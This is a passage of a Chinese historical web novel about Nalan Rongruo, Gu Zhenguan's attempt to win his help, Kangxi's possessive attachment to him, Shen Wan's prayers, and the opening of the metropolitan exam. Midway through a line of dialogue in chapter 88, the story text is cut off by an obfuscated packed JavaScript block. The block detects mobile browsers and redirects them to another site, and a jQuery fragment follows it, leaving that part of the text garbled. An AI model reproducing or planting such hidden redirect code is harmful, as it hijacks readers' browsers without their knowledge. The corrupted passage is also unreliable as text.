顾贞观深知:自己除了才学之外,没有一处能够与纳兰容若相提并论,而且年龄还跟纳兰容若相差甚大,几近能为父、而非能为友。所以自己才不敢对那位贵公子冒然请见。 “探窥”一词,用在文人身上的确不雅、不符儒家纲则,但是能够远远地瞧一瞧贵公子的行为举止,摸清贵公子的喜好,一定利大于弊。 此时的顾贞观,只当纳兰容若年轻、喜爱汉人文化且容易为汉人摆布,所以利用起来不会难。 ——人与人相交,最初都是为己,更何况是忘年之交,当中能得几分真挚? ——若能成所愿,借他之仁慈心,让他说服明珠出力,那么己之所求必有回响。 * 靠窗位置的桌子边,张纯修叫人拿了简单的酒菜,欲一步一步剥开顾贞观的真面目。 “先生要找纳兰公子?可知道我这场子虽大,但也不是大到可以放任像你这般的人进来的。” 顾贞观忽然一叹,狂灌一杯酒,道:“吾友吴兆骞远在宁古塔受苦,他是冤枉的!” 张纯修指出:“有冤屈你应该去衙门击鼓,而不是来我这找救兵。” 顾贞观如实道:“那是顺治爷时期的大案,到了康熙朝也难以翻案。我不是没找过方法去营救吴兆骞,之恨这世道,真是人情寡薄!” 张纯修难言眼前之人是情绪渲染,还是真的救友心切,只问他:“你动用过哪些方面的力量?” “唉——!!” 顾贞观又是一叹一舒气。 “我找前明士人宋应星,以为他会顾着交情:集结众名流在我写好的《请愿书》之上签名与按下手印,哪像他竟然置之不理,不正面回应我一个字、回回谢客于我。我找翰林院大儒徐乾学徐大人,本以为他跟皇上有所交集,能够伺机将我的《请愿书》上交,哪想他竟然扬言要跟我绝交!” 张纯修觉得顾贞观所为,一点都不合时宜,道: “战火刚刚消停,世态本就炎凉,谁还能够念及旧情?宋应星一向芥蒂清庭,你还指望他动用士人们的力量去做没有胜算之事?徐乾学最是一心寻求高官厚禄,自然是明哲保身,不想再与你扯上关系。” “我是糊涂!”顾贞观自责了一句,“但我从未放弃过,才来贵宝号寻找新路子。” “难怪啊!”张纯修了然一笑,“顾先生真是个‘坚韧不移’之人。” 顾贞观错以为自己得到了张纯修的信任,不知好歹道:“楼主大人要是能将顾某引荐给纳兰公子——” “来人,将此大胆狂徒撵出去!”张纯修冷声道,“顾贞观,你只是想利用纳兰公子来达成自己的救友私愿,而非看重纳兰公子的才华、想与之结交为友,我这场子岂能容你?” “且慢!”顾贞观死不承认,“你听我说——” 张纯修对小厮们下令:“把他撵出去,日后再见此人来‘花鸟风月楼’,直接赶走就是!” 张纯冷冷地看着顾贞观的背影,心想:容若已经够累,二月会试在即,岂能再被一个“别有用心”的顾贞观惊扰? * 冷雪随风飘,孤砖映月明。 堪怜粒粒星,天涯谁数清? 延禧宫内,宫女刚刚吹灭数盏灯和放下床外的帘幔,玄烨却是没有多少睡意。 “惠嫔,你在明府住了半年有余,对里面有感情吗?” 惠嫔在心中掂量:皇上指的是对表兄容若?还是府中的生活? “臣妾没忘旧时时光,也珍惜在皇上身边的时光。” “纳兰他……竟然开始担心起‘明府总有一天会毁在康熙皇帝手里’来了!还说什么自己死后,对朕的余愿就是:去他的渌水亭和书斋坐一坐,然后再对明府动干戈。” “纳兰公子从不乱说话,皇上把他说的话都放在心上就是了,勿要让他多伤神。” “听到朕早晚要对明府抄家或是拆毁之事,你不担心吗?” “臣妾能做什么?流着眼泪向皇上求情,还是推动皇上早日为之?臣妾不是小女子也不是毒妇人,做不到哭啼求全或是煽风点火,只能叫皇上知道:明府的一切至今日为止,一砖一瓦、一草一木、一楼一室都是伯父明珠的经营,所到的精致之处和所生的风雅之趣,全是纳兰公子的心血。皇上要是觉得明府于大清是毒瘤,想要拔之而后快,就真是昏庸!” “朕知道,世上除了明府,哪都养不了纳兰。但是明府富可敌国,实在是叫朕的国库都远远不及。” “臣妾敢问皇上,明珠父子用自己积攒下来的财富去做天理难容之事了吗?” “那他们父子的某些商业交易行径和价格标定,也是大乱了我大清的市场风气。” “皇上。”惠嫔从枕侧坐起,“做买卖真的是面对天下人吗?还是通过对场子的设定和对价格的抬升,先将一部分心怀侥幸或是资历品格不足之辈做了筛选?皇上为什么要将阳春白雪和下里巴人相提并论,一味看到‘高价’二字?” “朕的纳兰,一下子出尘、一下子入世。”玄烨双手枕着脑袋,“罢了,朕不提自己想从明府要钱或是要对明府怎么样的事了,免得真把纳兰积郁出心病来。” “皇上对纳兰公子的好,只有皇上自己明白。”惠嫔揉着夫君的太阳穴,“圣心之切,有时灼他成伤;圣意之浓,有时烙他成疾。” “有人说朕是伪心对纳兰好。”玄烨带着些身为帝王的无奈,“但是朕可以对天地发誓,自己是真心对纳兰好,为了纳兰,朕可以连这个皇帝都不做。” “最后一句话皇上不可说。”惠嫔的语调温婉而坚定,“人言可畏,皇上捂着自己的一颗真心就好。” 玄烨忽然移开惠嫔的手,坐了起来。 “朕决定了,要把纳兰留在身边,一辈子做君臣。” 惠嫔只觉得玄烨的目光令人生畏,好似为了这个如誓言一般的决定,连容若在考试之后的前途都可以随意操控一般。 她想来想去,偏偏就想不出一个合适的“官位”来。 皇上到底想用什么“身份”来一生留住容若在侧? * 明府。渌水亭内。 容若在张纯修现画的《渌水枯荷图》上题了一首诗。 诗曰: 此景应是江南好,凭栏独眺执佳音。 犹闻香气粉腮来,翠帘浮动游鱼影。 自见冰容知暑消,素袖谩皱明镜净。 西风不折嫁东君,昔年花客今纷飞。 【注1】 “容若,你是全天下最晓得给画题诗的人,这首诗的每一字每一句,都写的真、写的好。” “张兄的画传神,让我如见如醉,才能得此诗情。” “我欲拿此画去装裱,后悬挂在‘花鸟风月楼’中与众雅士共赏,容若你以为如何?” “不劳张兄去字画店的功夫,张兄随我到藏书楼,我亲自来装裱就好。” 穴砚斋内。 有冬阳暖光透窗而入,角度正好。 张纯修看着容若裱画的身影,不禁赞叹: 翩翩公子多才艺,貌美手巧自天工。 敢向广厦借白鹤,一骑征尘向霄琼。 【注2】 “张兄你把好词汇和好愿意都用在我身上,”容若抬头一笑,“那别人还剩下点什么呢?” 张纯修说起正事:“容若你有所不知,我这回是正面瞧你觉得你样貌耐看,有个叫做‘顾贞观’的人,却是偷偷来‘花鸟风月楼’探窥你。” 容若已经将画作装裱好,来到窗边坐下,问:“他多大年纪?探窥我做什么?” “我看顾贞观像是大你十八、二十岁的模样,都可以做你的阿玛了。他说他的好友吴兆骞在顺治朝的科举舞弊案中被冤枉,以至于流放去了宁古塔,前明士人宋应星和当朝大儒徐乾学对不肯相救,他就指望着你去给他解决这事呢。” 容若一斟酌,“我虽跟康熙皇帝为臣亦为友,但是救人而且所托的是难救之人的事,也至少需要花费五年甚至十年的时间的呀!岂是顾先生以为的:找对了人,就一切好办的?” 张纯修一边拍着容若的肩膀、一边点头道:“关键点就在这儿了,顾贞观是个执拗的人,盯上了你,就不会轻易放弃,定是会千方百计得你共感、引你去救吴兆骞。” 容若心境澄明,把玩着手中的一块玉石道:“读书人讲究有恩必报,报恩报的慢了,就会成仇。” “的确如此。”张纯修跟容若想的一致,“那顾贞观一旦获得你的应允,定是对你心怀恩谢,但是这‘报恩’可耗不起五年、十年的等待啊,容若你需要步步筹谋、甚至借助明珠大人的势力,才能将营救吴兆骞之事办成,这过程当中,顾贞观时时刻刻会因熬不住或是不理解……而与你反目成仇。” “所以这事先放着吧!”容若宽和道,“等日后看缘分,我要是跟顾先生有缘,不必他上演‘感动计’或是‘书信传情’,也会不计一切地帮他。要是彼此只是过客,那就各自分散天涯,当作素未谋面,不存情分。” * 容若把自己珍藏的一块绿松石相赠张纯修,寓意:张兄平安万福,经营的楼阁富贵纳祥。 张纯修问容若为什么喜欢收集各种各样的石头,容若说自己只是乐在其中,石头放久了会变色、会风化、会变形,看着心中有所感。 “对了张兄,你跟我说说往来于‘花鸟风月楼’之间的汉人们吧!有没有一些才学好、人品也好的?我想去结识他们。” “果然是容若你的性情。”张纯修看得明白,“世人谓你是:翩翩浊世之佳公子。你就跟春秋时期的赵国贵族平原君一样,爱结交四海贤士,你想跟平原君一般善待值得相交的汉人们,这是你的心意,我能懂。” “张兄在心志之上最懂我。”容若微笑,“我不介怀门第之别、不介怀对方是否及第、也不介怀年龄之差,只想着跟大家坐在一块,论诗词文章,固修养德行,如此便是一份好情谊。” “有名为朱彝尊之人,是明代大学士朱国祚的曾孙,最是擅长写词,跟王士祯并称:南朱北王。朱彝尊喜好金石之学,家中藏书众多,不亚于徐乾学,容若你要是借着‘览书之名’去会见他,想必能够相互成友。” “这正好,我有编写《古抄本十二卷》的经验,在将来修撰更浩大的经典工程之时,正好可以去向朱先生讨教。我喜欢看些孤本和残本,定是能从朱先生本人身上和他的藏书楼里学到学多。” “在我场子里的知情者说,朱彝尊的记忆力特别好,看过的古书都是过目不忘,所以在你修撰经典的道路上,朱彝尊的作用不可小觑。” “多谢张兄引荐。” “只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014748|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一点我要提醒你。” “张兄请讲——” “文人圈子讲究品性清高,偏偏朱彝尊却是惹出过风流韵事之人,所以他的名声在文坛里不算太好。” “何故?” “朱彝尊有妻子冯氏,所爱的却是冯氏那位已经嫁为人妻的妹妹冯寿常,他平日里与冯寿常互通书信和暗暗约会不提,更是叫冯寿常借机与婆婆发生矛盾,好等来夫君的一纸休书……此后,面对文坛的不耻之声,朱彝尊也是这般回应:吾发乎情,止乎礼,有何错?” “人之常情而已,我倒觉得文坛没必要对朱先生责怪。” “有个文人叫姜宸英,已经四十三岁了,考试一直不中,却心心念念仕途之路。此人书法造诣颇高,是大清帖学的领航之人。而今他开始转攻小楷,我以为,容若你的小字写的好,想必可与他共得书法上的会神之交。” “阿玛修明史,我听阿玛提过这位姜先生,说他开启了大清‘布衣修史’的先例。”容若摇头叹息,“只是姜先生的性情高傲,与我阿玛不投机,不见得他会待见于我。” “唉,容若你悟的深。”张纯修劝道,“古时李商隐说:‘中路因循我所长,古来才命两相妨。’现在想来,真是把道理都说透了啊!” “我私想着,这位姜先生既然放不下青云之路,倒是跟同样迷恋官场和爱摆官威的徐乾学趣味相投、可得同好,不必扰了我和阿玛明珠。” “姜宸英从你身上得不到好处,官迷心窍是他的败品。”张纯修对那姜宸英抱着一半唾弃一半尊敬的态度,“但是他纵然生性狷狂,却也满腹经纶。” “我理解他、体谅他,人在不得志的时候,性情容易大变,为了泄愤而已。偶尔听听姜先生骂人或是发牢骚也不错,我改变不了他的个性,就只能选择劝慰他或是帮助他了。” “容若,刚刚你还说,纳兰父子与姜宸英互不相扰的好……“ “我感动于姜先生的真性情,虽想着中举为官,却不肯向权贵折腰。” “梁佩兰是岭南人士,清军与吴三桂交战之际,其专心佛法,一度想出家为僧。其才华出众,有‘岭南三大家’之称,今其投靠在徐乾学门下。容若你与老师徐乾学面和心不和,不知你如何看待他的门生梁佩兰?” “可是我一次都没有在徐先生府里见过他呀!” “这我就不知了。” “有友可贵,交心之人可遇不可求,所以有时候我觉得自己可悲。不知道是不是六岁就开始伴君的缘故,我觉得自己的圈子特别小,无非是在天子和明府之间。包括张兄你,也是主动来结交我的,照着我自己的能耐,找不到也不知道该找朋友,而且……” 容若低头,“我属于一旦把一个人认作朋友,就会一辈子都不负他的类型。我不会舍弃任何人,哪怕自己被信任的人舍弃,我也宁愿相信是自己的错。我真的不会抱怨也不懂生气,因此才很容易被其他情绪缠身,像是:惆怅、苦楚、欢喜、愉悦,都是些分明的很的状态。” “我不管别人怎么对你,反正我永远不会背叛你、离开你。”张纯修比出了誓言的手势,“你写给我的书信、传递给我的小笺、相赠我物品和诗词,我全都好好留着,甚至是你这颗心,我也愿意捧着温着。” “多谢你,张兄。”容若淡笑,“有你这席话,寒冬似三春。” * 中午,容若留张纯修在明府吃饭。 所设食事之地,是渌水亭中段的一处赏景台。 容若知道张纯修爱吃“枸杞乌鸡盅”和“黄豆焖猪蹄”,便提早叫人去做了准备。他自己只吃“双拼板栗芋泥羹”和“三鲜芙蓉汤”。 期间,侍女袖云过来伺候过公子和张生。 张纯修开玩笑说,袖云机灵貌美,跟容若般配。容若道,我也觉得袖云好,她跟我一样,对人对事都是无挑的。 袖云的脸上泛起两片红晕,就自请退下了。 容若一边吃着东西、一边总结道:“张兄,你跟我说的这几位汉人,在年龄上都属于我的父辈了。” “他们代替不了明珠大人。”张纯修摆了摆手,“容若,我只是把值得一提的汉人们都告诉了你,可没叫你都跟他们往来呀!” “好,那就先不说他们了。”容若记起,“李天馥曾是我在国子监上学时的授课老师,他资助话本作家洪昇不是你的好朋友吗?近来洪生怎么样了?” “洪昇常去你资助的孔尚任的住处,与之切磋剧本构思之道,都说要写出一部有大名堂的剧本来。“ “如此甚好!”容若为洪孔二人高兴,“他俩是同道中人,终将成为一代名家,共同闪耀在大清的史册上。” 午膳之后,容若与张纯修一同散步于渌水亭的长廊之中。 在与张兄的谈笑间,容若看见了在明开夜合之下“对花人独立”的侍女袖云,她的模样,是有所思也有所喜,神色之间,还带着许多感动。 容若不自觉走上前去。 他想跟袖云说上几句话,予她更真挚的触景情怀…… 此时,他还不知道: 在以后,袖云就是他那聪慧能干、玲珑通透的颜氏夫人,为他持家有方、养育儿女、打点人情往来,分担着他的家事担子。 【注1】 粉腮:指荷花花瓣。翠帘:指荷叶。 冰容:指冬季枯荷。谩皱:指事物的自然变化。 明镜:指月亮。花客:指蜜蜂和蝴蝶。 【注2】 广厦:掌管天上人间工事的神君,仙鹤是他的坐骑,有“贺喜”竣工或乔迁之意。征尘:远离尘世。霄琼:指仙界。 89.第89章 会试举办的三日之前。 明珠兴冲冲地告知家人们:“本官打听到消息,等到容若高中进士之后,皇上就要进惠嫔为惠妃。到时候,我们明府就是双喜临门,宾客源源不断……可算是把之前乡试过后的冷冷清清局面,都一次性热热闹闹地补回来了。” “那太好了!”觉罗氏喜笑颜开地看着丈夫和儿子,“妾身会尽早做安排,让府上主客同乐。” 容若礼貌道:“儿自当不辜负阿玛和额娘的期望,一定认真对待会试和殿试。” 明珠打趣问:“你说皇上会怎么考你?其他同在殿上的考生服不服你?” “儿想,皇上想考的不是纳兰性德的学识,而是他的心境和态度。”容若淡饮盏中茶,“关键一点是,皇上想让自己的君威被纳兰性德完全服从。” “那其他考生必将是会效仿你。”明珠对自己的儿子放心,“你好好发挥就是了。” “儿遵阿玛教诲。” * 另一边,索府。 索额图走进格尔芬的房间一看,竟然发现他在认真写字。 他正想对自己的儿子夸上两句,却听见格尔芬道:“儿没有在默写孔孟文章里面的经典句子,而是在做春游规划。儿打算在会试结束以后,邀纳兰兄一起……” “一起去你兄长阿尔吉善被流放之地如何啊?”索额图面色阴沉,“你这是邀明珠家的长公子去散心?还是去涉险?我赫舍里一族跟他纳兰一族——” 势不两立。 索额图想说的,是这四个字。 “儿请纳兰兄请的动,是儿的本事。”格尔芬讥讽索额图,“阿玛你跟明珠之间,能得此机会吗?” “本官就是太纵容你了,以至于你越来越放肆,敌我不分!”训罢,索额图转而对夫人道,“等到你儿子考完试,中或者中,本官都安排他进宫当侍卫去!” “什么?”佟佳氏惊讶,“老爷您的意思是叫咱们儿子去宫里吃苦?” “不错,就因为格尔芬是我索额图的儿子!”他大声强调,“不管这份差事他做的来或是做不来,只要他领了,就算是对我赫舍里一族尽了孝心了!” 佟佳氏心中忐忑,“可是这差事……不分昼夜,巡逻站岗,要被皇上耳提面命,咱们儿子做的来吗?” 索额图“哼”了一声,不做正面回应。 格尔芬冷问:“就儿一个?同龄人中还有谁?” 索额图一拍桌子,然后把那张《春游规划书》拿起来一撕,扬落在地,狠狠踩了几脚。 “你还指望着谁?你那些八旗子弟朋友还是纳兰性德?阿玛今儿个跟你明挑了说,那些八旗子弟的前程不归我管,纳兰性德的前途怎么样,我也预料不了!” 索额图对眼前的母子撂下话: “如今前朝和后宫的局势都变了,明珠掌管内阁风生水起,惠嫔的位份要进为惠妃,已经不是别人前来对我索额图趋炎附势的时候了!格尔芬,我能够为你谋一份脸上有光的差事——作为你考得上或是考不上功名的后路,你就该跪下来向我和向列祖列宗磕头了!” “格尔芬,你生在八旗的上三旗,本来是应当在我索家一辈子享福,但是你倒好,自从结识明珠家的公子和朴尔普家的格格之后,纨绔不像纨绔,公子不像公子,这么下去还了得?我的家业迟早毁在你手里!还不如让你去当侍卫历练历练……” “三日之后,儿必定交出一份震惊天下的满意答卷来!” “儿啊,你有这样的心态就好。”佟佳氏安慰道,“你就先带着这般心态好好考试,你阿玛是叫你巡逻皇宫好事事掌握情报,没叫你杀敌和冲锋陷阵呢,你要是能从三等侍卫晋升到一等侍卫,那你玛法索尼也会含笑九泉。” “糊涂!”索额图对夫人一喝,“咱们儿子怎么着也得从二等侍卫起步,本官会做安排。” * 沈宛站在全京师最灵验的寺庙的大佛面前,一心一意为纳兰公子祈祷考运昌盛。 “民女沈宛,请眼前菩萨和天上文曲星君加持,让纳兰容若成就心中所愿。公子才华,天下公认,唯其心事,怏怏难解。如能让公子实现翰林梦,令大清多有一位大学者,沈宛愿年年此日,携香带烛,素心素念,来此处还愿。” 沈宛虔诚地向大佛拜了三拜,成礼完毕,又十指交错,在心中默道:“如愿,如愿。” 沈宛想好了,等到纳兰公子考完会试,等待发榜的一个月的时间里,自己就要跟他一起出一趟京师,到附近的好地方去游玩解闷。 昨夜,她悄悄用轻功翻墙进入了明府,往容若房间外的玉兰树的树梢上挂了一串风铃,为了避免风铃发出声响惊扰错了人,她特别把风铃坠子换成了无字纸条。 她只在字条上画了一对双飞燕,因为她喜欢公子的那首《采桑子》,其中两句是: 残更立,燕宿雕梁。 月度银墙,不辩花丛哪辩香,零落鸳鸯,雨歇微凉。 之前,两人私会的情景,是下面这样子的—— 月色下,卧室内,沈宛就在容若身边嗔笑。 “燕子认生又敏感,寻常布衣家它们不去、繁华奢户家也不去,只爱在自己选中的地方筑巢。就跟容若你一样,除了明府哪儿都养不了你。” “如果皇上能知道就好了。”容若双手抱膝而坐,“皇上能看懂我这句词的意思,就不会动要抄我的家和要拆我的渌水亭的念头。” “那定是皇上吓唬你,明珠大人权势如日中天,你名满天下,皇上哪里敢轻易对明府动手?” “我是最了解的皇上的人,所以才有后顾之忧。”容若侧头,“忧思愈重,反倒叫自己吃了好几日苦药。” “我总感觉:明府的规模是除了皇宫和行宫之外的天下最大。容若你生活在这样的环境里,有没有想过邀些人来一起住?” “自然是不能。”容若正色道,“并非我排挤谁,而是明府是我家,本身就是个自成一体的圈子,阿玛、额娘、揆叙、揆方、管家金叔、大管事安三,以及佣人们、小厮们、伙计们……全都是当中的成员。剩余的,照着阿玛的说法,只能叫做是:访客和宾客。” “你理解错我的意思了,我是问你孤独不孤独?” “我算是合群,所以不孤独。” “骗人。” “嗯,骗不了宛卿。” 后来,他俩再次聊起那首《采桑子》的时候,容若无奈地透露: “宛卿,你知道皇上是怎么想的吗?他拿着我的词去找太皇太后,一阵乱说,太皇太后就叫了我到慈宁宫去对质。” “这有什么好对质的?”沈宛觉得可笑,“皇上君无戏言,道理都在他那儿呢,你还能怎么辩解?太皇太后都问你什么了?” “残更立,不是指下半夜站着吗?太皇太后问我:‘孩子,你是不是曾住在某处的八旗亲贵家中且行动不受束缚?你如燕子宿梁一般坦然:赏月光、看今时花不似旧时花?’我摇头,说不是。” 沈宛咯咯地轻笑。 “宛卿,你在笑什么?”容若问她,“然后皇上就添油加醋道:‘皇阿奶,朕早说过了,纳兰就是去瓜尔佳府邸私邀了云辞格格,然后写了首艳词。’我说我没有,我要表达的词意不是皇上所理解的,我说……我真的很珍惜自己跟家人们之间的感情,真的很喜欢也很不满足明府所拥有的一切,我没法想象:家要是没了或是不存在了的样子。” “我笑容若你较真了。”沈宛用手绢拭了拭公子眼角的晶莹,“你信我,皇上不会那么狠心对你和对你家的,你别真的因为——皇上向明府伸手要了几次钱来充盈战时军费、向你多提了几回他妒你有渌水亭有最好的调养地,就杞人忧天。真的不值得,你阿玛明珠都没跟你商量过这事吧?” “等阿玛找我商量的时候,就晚了!” 容若半起身,扶着窗台,忡忡地看向明珠的房间。 “无论如何,你别管那些。”沈宛朝公子点头,坚定地给了公子一份安全感,“当下最要紧的就是照顾好自己的身体和情绪,然后上考场考试去。” “宛卿,你会不会觉得……我这首《采桑子》写的不合时宜?” “不会呀!”沈宛神思联翩,“我要把你写的《采桑子》画成一幅画,但是画好后不给你看,而是直接送到周老板的‘庄周梦蝶’字画店去,让周老板去发挥他那说书人似的本事,把《采桑子》在众买家面前说出一番与众不同的新意来。” “那我要叫我家的家仆去打听,看看周老板能说出什么比皇上曲解的还更离谱的新意来。” “容若,别惆怅了,笑一笑嘛。” 沈宛给公子露了一个滑稽的表情,容若却没有接住,只是半疑地眨了一下眼睛。 “容若,其实我早就想为你画一对双飞燕了。”沈宛指向明明只有月亮和暗云的天外,“到时候你去房间外面的玉兰树树梢寻。” “嗯。” 容若嘴上只是简单地应着一个字,心里却是决定: 草长莺飞,正是跟自己喜欢的女子一起放纸鸢的时候,那是真正的:雨霁天外景,双人双飞燕。考试之后,一定再与宛卿相邀。 “零落鸳鸯,雨歇微凉。‘鸳鸯’二字,可是不能随便写在词里的。”沈宛自信地注视着公子的明眸,“容若你是指我吗?” “嗯。”容若内心触动且怦跳了数下,浅笑问她,“宛卿,你有没有觉得:‘零落鸳鸯’跟‘鸳鸯零落’表述的意思完全不一样?” “我发现了,在你笔下,‘雨歇微凉’和‘微凉雨歇’的顺序,也是不能换的。” “所以呢,我自认为这首《采桑子》风格清丽,没有悲感。即便是有那么一点点,那也是过去了,我已经走出来了,谢谢你宛卿。” 当下,沈宛坐在寺庙的石桌旁边。 她问自己:怎么就在这个佛门的清静之地,重温起跟容若在一起时的小情话来了? 他的矜持和他的不笑,明逝又真实。 他的清雅和他的回应,一字抵万语。 沈宛在心中作《传燕诗》一首: 但愿燕传情,双绕心间枝。 婉转动听曲,良辰有佳期。 银汉东西陌,冷衬清晖明。 霜华云梦起,衡天相思寄。 * 却说顾贞观在“莺歌燕舞楼”被撵出去以后,没有壮着胆子去明府求见纳兰父子,而是去了徐府附近等候机会。 会试开考的前一天,顾贞观躲在离徐府不远处的一棵树背后,好巧不巧听见了两位江南出身的考生的对话。 “咱们没有纳兰公子的才气也就罢了,连福气也不如他。” “徐先生的官运可是跟纳兰公子绑在一起的,纳兰公子高中,他这个老师肯定少不了好处。” “徐先生眼里怕是只把纳兰公子当回事了,咱们看运气得了。也不知道这回的试题会难到什么地步,说是皇上亲自命的,填空的句子的择取皆是挖空了心思呢,只等把真正有学问的人甄选出来。” “唉,咱们可要把心态搞扎实了!到时候 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“顾某为友吴兆骞,竭尽全力,一腔赤诚有求于徐夫子你,你却不为人情世故所感,反过来要与顾某恩断义绝,只怕牵连受累、危及官位。我要是早知你在当年案发之际幸灾乐祸,断断是不会第三下去地来求你!只恨我这一身风骨,至今还存了指望于你,我顾贞观愧对天地……徐乾学,你这个毫无人情和人性的小人,有何资格在朝为官?有何资格教导纳兰容若?” 徐乾学穿着一身官服走出府外,免得节外生枝,他并未叫人把顾贞观给抓起来。只是板着脸孔,怒视之而不语。 顾贞观喘着气,上前一指徐乾学的鼻子,痛喝道: “你身为文人而执着官场之道,你追求学问而自恃才高,你假意和善而无情无义,我算是看透了!今后,我再不对你做求!” 徐乾学背着手,直直地盯着眼前人,眉头紧锁。 忽然,他对顾贞观怒怼了一句:“本官没资格教导爱徒容若,你有资格你试试看啊!” * 这事很快传到了康熙皇帝耳朵里。 当时,玄烨正在慈宁宫里陪太皇太后说话,不禁觉得自己这个皇帝当的实在是太没用了,连场考试都没法保证一切顺利。 传话者耿直道:“启禀万岁爷,主考官在会考前日被骂之事,在康熙朝之前从未发生过。” “天下百姓千千万万,泱泱之口是朕管得了的吗?”玄烨一瞪,“那个大骂朝廷命官的顾贞观,是什么来头?” 传话者如实道:“别的奴才不知道,奴才只在市井之间听闻,那顾贞观为了救好友吴兆骞,多方奔走,就差上天入地、求仙成道来渡他化劫了!” “吴兆骞是顺治朝科举案的要犯,已成定局的案子如何能翻?”玄烨看向孝庄,“孙儿要是为吴兆骞脱罪,那就等于是说:讽刺顺治皇帝昏庸,办案有失。皇阿奶您说是吗?” “这事皇上看着办。”孝庄面无表情,“真到了复查的时候,再说。” “是,孙儿听皇阿奶的。” “万岁爷,奴才还有事要回话。” “说——” “除了徐乾学徐大人挨骂一事闹的沸沸扬扬之外,高士奇高大人跟张英张大人也斗嘴不休,实在是有扰翰林院清静。” “他俩不都是明珠的人吗?怎么互相责难?朕在除了鳌拜以后,破例提拔张英为翰林院编修,就是觉得他话少人稳重,如今他是长进了,能够跟话术一流的高士奇论嘴上功夫了?” “张大人自称要急流勇退、辞官回乡,高大人便说张大人是以退为进、就等着得到皇上更大的重用。这争吵的导火索拉起来以后,二人又大论殿试之事,就跟是在押宝谁会中前三甲一样!” 玄烨一下子来了气:“殿试之事,一概由朕定夺,岂能容他俩在背后非议?” 孝庄直接问了关键:“明珠知道了吗?明珠自己怎么说?” 传话者道:“回太皇太后,明珠大人的意思是:会考之事和殿试录取之事,当以真才实学来定音,应当全部交由天子做主。” “明珠倒是个明白人。”孝庄点头,“他家长公子容若怎么样了?” “纳兰公子一切皆好。他寄存在‘京师第一字画店’中的《渌水枯荷图》,卖出了千金,已经拿出半数来给周之捷周老板用作接济落魄文人了。” “纳兰的画造诣不高,科举要是增加画科,准能把他的名次踢出到三甲之外。” “皇上不要乱说话。” 孝庄警示了一句,面的让那传话者以为纳兰就是玄烨心中已经预定的前三甲。 传话者道:“《渌水枯荷图》是‘京师第一画师’张纯修的作品,纳兰公子就是在卷轴上题了一首诗,至于这‘按金开卖’的规矩是谁定的,奴才就不知道了。” “他张纯修是‘京师第一画师’,那朕的御用文人禹之鼎呢?”玄烨心生不快,“他干什么去了!” “禹画师为了娶云辞格格,没有一天不上进,最近他扬言要干的大事是:把自己的画卖到日本去……已经跟朴尔普大人打赌了。” 玄烨瞠目结舌:“朕怎么不知道?” “回万岁爷,禹画师看过纳兰公子的《渌水亭杂识》的样章里对日本的介绍之后,心生向往,说日后要出使琉球、扬我大清国威,当下就从卖画过去开始做起。” 玄烨好似怕禹之鼎一冲动,就把纳兰从自己身边带走、带到日本去长见识一样,大声做出了一个决定来:“朕,要亲自坐镇考场监考!” 孝庄在苏麻喇姑的搀扶下站了起来:“皇上你说什么?” 玄烨摆出了“皇阿奶,您没有听错”的模样,傲气地把头一扬。 ——朕不但要向众考生示威,更要向纳兰施压。 ——朕就等着、等着看考试结束后的那段闲散时光里,纳兰敢不敢脱离朕的掌控,漂洋过海去帮助禹之鼎卖画! 90.第90章 会试开考当日,贡院。 纳兰很早就来到了考场,他坐在中间那列正数第三的位置上,闭目养神。 格尔芬却是不拘一格,奔走在从别处而来的“异乡考生”之中,活跃氛围。 等到全部考生到场,众巡考小吏确认完他们:身份无误、所携带之物无舞弊之嫌、精神状态无异常之后,便有礼官敲响了三下铜锣,预示着考试即将开始。 徐乾学和蔡启僔两位大儒,一左一右坐在主考官的特设位置上,深情凝肃。随着司礼大太监的一声喊:“皇上驾到——”这两位大人就迅速起身相迎,台下的举人们亦是按照礼数站起,纷纷向康熙皇帝行礼。 礼毕之后,徐乾学回到康熙皇帝的右侧就坐,他特别想对诸位举人说句话:“尔等今日是得了福气,皇上的龙颜,可不是谁都能随便见得到的!” 礼官高喊:“风和日丽,会试将开,上有文曲星君加持、下有当今天子福泽,尔等诸生,幸甚矣。” 众举人向康熙皇帝和两位考官行注目礼。 礼毕,众举人只听见有连续九发礼炮鸣向空中,声音不大不小,派势却是十分到位。也许真的如礼官说的一般,这是吉兆。 司礼大太监站出来道:“请诸生恭听圣言——” 康熙皇帝把目光从纳兰身上移开,对着众举人道: “尔等都是俊才,一路闯关至此,想必已是胸满文墨、怀抱大志。今朕亲自监考文试,意在传承与弘扬历代皇帝之做法,开创‘莅临贡院,观试有终’之先例。尔等不必惶恐,不必抬头观望,朕与两位考官,今日不过是摆设,尔等才是发挥能力之人。” 众举人齐声道:“学生等谨听圣言。” 礼官鸣锣一声后,康熙皇帝就气场十足地宣布:“开考——” 众举人这才敢翻开桌面上的考卷来看,仔细酝酿作答之言。 康熙皇帝只见:纳兰容若坐得笔直,行笔姿势优雅,文思通畅,比别的考生都要更快地入题、拆题和解题。 康熙皇帝勾嘴一笑,心想: 朕的纳兰果然是雷打不动的“大清第一才子”,别人尚在苦思冥想之中,他却已经成竹在胸,只待将对《策论》之题的见解写就、把朕特别命制的《四书五经》填空题得出正解。 天下有纳兰容若一人,足以撑起大清文坛的门面。 翰林得纳兰容若一人,却是朕失贴心陪臣之遗憾。 留下来。留在朕身边。 不可放。放之即所失。 康熙皇帝闭上了眼睛,他好似见到: 取得功名之后的纳兰,再也不是穿着自己所特许的私服行走在皇宫中,而是穿着跟徐乾学一样的翰林院官服,在一方天地之中做着他喜欢又擅长的事情。 纳兰才高八斗却没有一丝高傲之气,他温润如玉且春风化雨,凭借出色的成绩获得那些资历比他要老许多的大儒们的一致好评……可是,到了后来,却演变到了君臣水火不容不容的地步,因为一个人:明珠。 朝珠线断,一阵刺耳的声音响起,不知是在争执中谁对谁先动了手。 或许是自己一剑没往纳兰的脖子上砍下去,而仅仅是挑断了他戴着的朝珠的串线;或许是纳兰对自己这个皇帝忍无可忍,一心求死,才以下犯上用剑切断了自己的至尊朝珠的金丝线。 